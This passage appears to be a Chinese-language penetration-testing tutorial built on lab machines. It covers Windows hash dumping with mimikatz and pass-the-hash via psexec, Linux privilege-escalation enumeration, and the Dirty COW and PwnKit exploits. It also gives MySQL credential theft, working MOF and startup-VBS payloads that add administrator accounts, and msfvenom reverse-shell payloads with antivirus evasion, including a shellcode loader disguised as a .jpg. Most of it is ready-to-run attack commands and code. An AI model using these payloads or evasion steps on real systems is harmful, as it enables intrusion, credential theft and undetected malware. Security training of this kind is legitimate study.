Server username: NT AUTHORITY\SYSTEM
meterpreter > 

shell进入cmd的shell,执行whoami,为system权限

img_20230807_112412.png

乱码使用chcp 437即可

img_20230807_112425.png

Windows提权后期密码安全性测试

1、利用run hashdump或者hashdump进行dump服务器hash值

img_20230807_112451.png
用户名:xxx:LM哈希:NTLM哈希(用户密码):::

解密1ced49662211f8194549a7b355a5e211即可获得管理员账号密码,通常为cmd5加密

2、利用mimikatz获取管理员账号密码
load kiwi,加载kiwi模块
help kiwi,查看kiwi帮助
creds_all,列举系统明文密码

img_20230807_112542.png

kiwi_cmd可以使用mimikatz的全部功能,比如kiwi_cmd sekurlsa::logonpasswords获取明文密码

img_20230807_112607.png

3、当hash解密不出来的时候,可以利用hash来直接远程登录
注意:以Win7或者Win XP作为靶机时攻击失败,建议使用Windows server 2012作为靶机进行测试

use exploit/windows/smb/psexec
set RHOSTS 192.168.85.150
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:1ced49662211f8194549a7b355a5e211
exploit
img_20230807_112704.png

成功利用hash值获得会话,返回system权限

img_20230807_112723.png

Linux权限提升及提权必备命令学习

Linux提权寻找exp:

用户信息相关命令:

id
whoami
who
w
last
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

列出超级用户:

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
awk -F: '($3 == "0") {print}' /etc/passwd
cat /etc/sudoers
sudo -l

查看操作系统版本:

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat

查看内核版本:

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

查看环境变量:

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

查看正在运行的程序及对应的用户权限:

ps aux
ps -ef
top
cat /etc/services

查看ROOT权限运行的进程:

ps aux | grep root
ps -ef | grep root

查看安装软件:

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/

查看服务的配置文件:

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/apache2/apache2.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'

查看计划任务:

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /var/spool/cron/crontabs/root
cat /etc/crontab

查找明文账号密码:

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

查看支持哪些语言:

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

查看可上传方式:

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

查看缓存:

arp -e
route
/sbin/route -nee

查看网络通信:

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last

Linux提权实战

Linux脏牛提权

环境: Metasploitable-2
下载 https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
账号密码 msfadmin/msfadmin

漏洞简介: CVE-2016-5195,即 Dirty COW,俗称「脏牛」漏洞。它是 Linux Kernel 中的条件竞争漏洞,攻击者可以利用 Linux Kernel 中的 COW(Copy-on-Write)技术中存在的逻辑漏洞完成对文件的越权读写,恶意用户可利用此漏洞来获取高权限。

漏洞原理: Linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权
限。

影响版本: 自2007年9月 Linux Kernel 2.6.22 被引入,直到2018年Linux Kernel 4.8.3, 4.7.9, 4.4.26 之后才被彻底修复,影响在此期间的所有基于其中版本范围的Linux发行版。

脏牛提权: 提权之前为msfadmin权限

img_20230807_150738.png

上传提权exp dirty.c,使用gcc进行编译:gcc -pthread dirty.c -o dirty -lcrypt

进行提权(root是随便输入的密码):./dirty root

img_20230807_150801.png

查看/etc/passwd发现多了一个用户firefart

img_20230807_150817.png

su firefart,输入密码即root,成功提权至root权限

img_20230807_150834.png

SUID提权

所用环境: docker pull docker.io/citizenstig/dvwa

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

举个例子:
vim文件具备s权限,即vim命令具备s权限,其拥有者是root; www-data用户使用vim命令时,可以短暂获得root权限,如果能抓住这短暂的时间执行系统命令,其实就相 当于是以root用户的权限去做执行操作。

已知的可用来提权的Linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

查找具有root权限的SUID的文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

利用find命令提权至root权限

chmod u+s /usr/bin/find

find / -name one.php -exec "whoami" \;

Linux Polkit本地提权

所用环境: docker pull docker.io/chenaotian/cve-2021-4034
Polkit: 是用于在类 Unix 操作系统中控制系统范围特权的组件,它为非特权进程提供了与特权进程进行通信的方式。
CVE-2021-4034: Polkit 的 pkexec 命令存在本地权限提升漏洞,已获得普通权限的攻击者可通过此漏洞获取root权限。
利用: 上传exp,给权限执行cve-2021-4034-poc即可提权获得root权限

docker run -d --name polkit -it docker.io/chenaotian/cve-2021-4034
docker exec -it polkit  bash
root@179f5e96a042:/# cd ~
root@179f5e96a042:~# ls
Pwngdb-master  exp  glibc-2.27  polkit-0.105  pwndbg-dev
root@179f5e96a042:~# cd exp/
root@179f5e96a042:~/exp# ls
CVE-2021-4034  exp.tar
root@179f5e96a042:~/exp# cd CVE-2021-4034/
root@179f5e96a042:~/exp/CVE-2021-4034# ls
exp.c  lib.c  run.sh
root@179f5e96a042:~/exp/CVE-2021-4034# ./run.sh  # 编译得到提权程序
lib.c:5:43: warning: conflicting types for built-in function 'exp' [-Wbuiltin-declaration-mismatch]
 static void __attribute__ ((constructor)) exp(void);
                                           ^~~
root@179f5e96a042:~/exp/CVE-2021-4034# ls
'GCONV_PATH=.'   exp   exp.c   lib.c   pwnkitdir   run.sh
root@179f5e96a042:~/exp/CVE-2021-4034# su test
$ pwd
/root/exp/CVE-2021-4034
$ ./exp             
# whoami
root

数据库权限提升

主要内容:

  • 如何获取 mysql 账号和密码
  • UDF 提权
  • MOF 漏洞及启动项提权

如何获取Mysql的账号和密码

所用环境:docker pull docker.io/citizenstig/dvwa:latest

方法1-获取Webshell之后查找配置文件

获取Webshell之后

img_20230807_165553.png

查找网站数据库配置文件,对于CMS系统,比如WordPress系统,数据库信息都是在/wordpress/wp￾config.php中。针对CMS系统,可以先去百度,查找相关配置文件的目录,一般是web.config,config,config.inc.php,jdbc.properties之类的字样。

比如DVWA网站的配置文件是/var/www/html/config/config.inc.php

img_20230807_165625.png

方法2-通过SQL注入获取Mysql账号密码

通过sqlmap进行注入,–batch的意思是让sqlmap自动选择执行过程中出现的询问请求。

python sqlmap.py -r 9.txt –batch

img_20230807_165714.png

存在SQL注入漏洞

img_20230807_165726.png

通过–password获取数据库账号密码

img_20230807_165745.png

获取到密码为root

img_20230807_165758.png

方法3-通过暴力破解获取Mysql账号密码

通过hydra进行暴力破解
hydra 192.168.85.188 mysql -l root -P mysql.txt -o save.log -f -vV -e nsr

UDF提权

所用环境:Win7 + phpstudy + DVWA

UDF提权前置知识

UDF介绍:
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,通过添加命令执行函数可以执行系统命令,从而进行提权。

原理:用户自定义的函数被当作本机函数执行,在使用CREATE FUNCITON调用dll中的函数后,mysql 账号转化为system权限,从而实现提权。

UDF提权条件:

  1. Mysql版本大于5.1版本
  2. 掌握的Mysql数据库的账号有对Mysql的insert和delete权限以创建和删除函数
  3. secure-file-priv参数不为null
  4. 网站本身存在Getshell漏洞,可以通过Webshell可以将udf.dll上传到Mysql中的lib\plugin录下

UDF提权流程

1、通过网站漏洞获取一个shell,如webshell:
权限为admin

img_20230807_170025.png

2、查找数据库账号密码

WWW/DVWA/config/config.inc.php

img_20230807_170101.png

3、连接数据库

提前配置好数据库允许远程连接。这是使用phpstudy中的数据管理工具

# 允许数据库远程连接
grant all privileges on *.* to "root"@"%" identified by "密码";
#这时就可以使用远程数据连接工具navicat了

# 创建用户
CREATE USER 'admin'@'%' IDENTIFIED BY 'pwd123';

# 授予用户dvwa库权限
grant all on dvwa.* to 'admin'@'%';

# Mysql配置文件增加 srcure-file-priv选项。
# phpstudy 中mysql配置文件在c:/phpstudy_pro/Extensions/MySQL5.7.26/my.conf
# 改完重启mysql
[mysqld] 下添加
secure_file_priv=''

新建查询,查询Mysql系统位数:64位数
show variables like '%compile%';

img_20230807_170219.png

查看plugin目录
show variables like '%plugin%';
C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

img_20230807_170234.png

4、制作提权dll
sqlmap中有编码后的dll文件,路径为

sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

需要利用cloak.py进行解码获得lib_mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下

python cloak.py -d -i lib_mysqludf_sys.dll_

5、将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录
Mysql默认安装时没有lib\plugin目录,需要新建

img_20230807_170355.png

将mysqludf_sys.dll上传至该目录下

img_20230807_170411.png

6、创建sys_eval函数,提权
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

img_20230807_170426.png

使用函数进行提权:select sys_eval('whoami');
成功提权至administrator权限(如果数据库是普通用户启动只能提到普通用户提权)

img_20230807_170442.png

MOF漏洞及启动项提权

MOF提权

条件:

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

原理:
MOF文件每五秒就会执行,而且是系统权限,我们通过Mysql使用load_file将文件写入/wbme/mof目录,然 后系统每隔五秒就会执行一次我们上传的MOF文件。MOF文件中有一段是vbs脚本,我们可以通过控制这段vbs 脚本的内容让系统执行命令,进行提权。

mof利用代码:

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
};

提权过程:
将上面的脚本通过Webshell上传到有读写权限的目录下
C:/phpstudy_pro/1.mof

然后使用sql语句将文件写入到c:/windows/system32/wbem/mof/下

select load_file("C:/phpstudy_pro/1.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

当我们成功写入mof文件时,mof就会直接被执行,且每5秒创建一次test用户。

启动项提权

条件:file_priv 不为null、已知Mysql账号密码
写入一段VBS代码到开机自启动中,服务器重启即创建用户并提权,可以配合ms12-020,ms15-034等漏洞将服务器打蓝屏迫使服务器重启。

1、开始菜单当前用户启动文件夹
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

2、开始菜单所有用户启动文件夹
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

3、注册表当前用户开机启动项目录
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

4、注册表所有用户开机启动项目录
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

利用POC:

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单 \\程序\\启动\\a.vbs";

免杀

所用环境:Kali linux + Windows

利用MSF编写远控程序

msfvenom参数:

-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --list formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

msfvenom生成5555.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.85.137 lport=5555 - f exe -o 5555.exe
img_20230807_171230.png

msf监听端口

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.168.137
set lport 5555
run

受害机器执行5555.exe,成功上线

img_20230807_171344.png

利用MSF实现免杀

免杀技术简介:
免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=XXXX lport=XX -f exe -o XX.exe

生成的木马,不做任何的免杀处理,利用在线杀毒引擎检测查杀概率:
https://www.virustotal.com/gui/home/upload

拖入5555.exe

img_20230807_171445.png

上传后,查杀引擎会对5555.exe进行查杀

VirusTotal的反病毒引擎报毒为49个。

img_20230807_171507.png

工作中单位要去采购防病毒软件,可以提前跟供应商沟通一下防病毒软件使用的是什么杀毒引擎,可以利用这个网站看看引擎的查杀效果。

利用MSF自带的功能进行免杀

Meatsploit 框架下免杀的方式之一就是使用MSF编码器,其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,该文件运行后,MSF 编码器会将原始程序解码到内存中并执行。

-e:指定编码器x86/shikata_ga_nai
-i:指定编码次数

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.85.137 -e x86/shikata_ga_nai -i 20 -f exe -o 5556.exe
img_20230807_171632.png

可以发现使用编码器免杀具备一定的效果,报毒引擎数量有所下降,但是效果微乎其微,近年来由于各种杀毒软件的更新,msf编码器免杀已经被各大杀毒软件标记,免杀效果差。

img_20230807_171716.png

MSF编码器结合shellcode加载器进行免杀

下载shellcode加载器: https://github.com/crow821/crowsec/tree/master/BypassAV_360_huornog

利用编码器生成jpg文件

msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 7 -b '\x00' lhost=192.168.168.137 lport=5558 -f raw -o crowsec.jpg
img_20230807_171828.png

来看免杀效果:ms.exe仅5个杀毒引擎报毒

img_20230807_171845.png

crowsec.jpg仅10个杀毒引擎报毒

img_20230807_171900.png

常见的杀毒软件火绒+360查杀无风险

img_20230807_171918.png

利用msf进行监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.168.137
set lport 5558
run
img_20230807_171959.png
img_20230807_172012.png

将crowsec.jpg和ms.exe放到同一目录,点击ms.exe即可上线
注意:如果编码器运行不成功,需要 msvcr110.dll 放到 C:\Windows\SysWOW64 下

获取到meterpreter

img_20230807_172053.png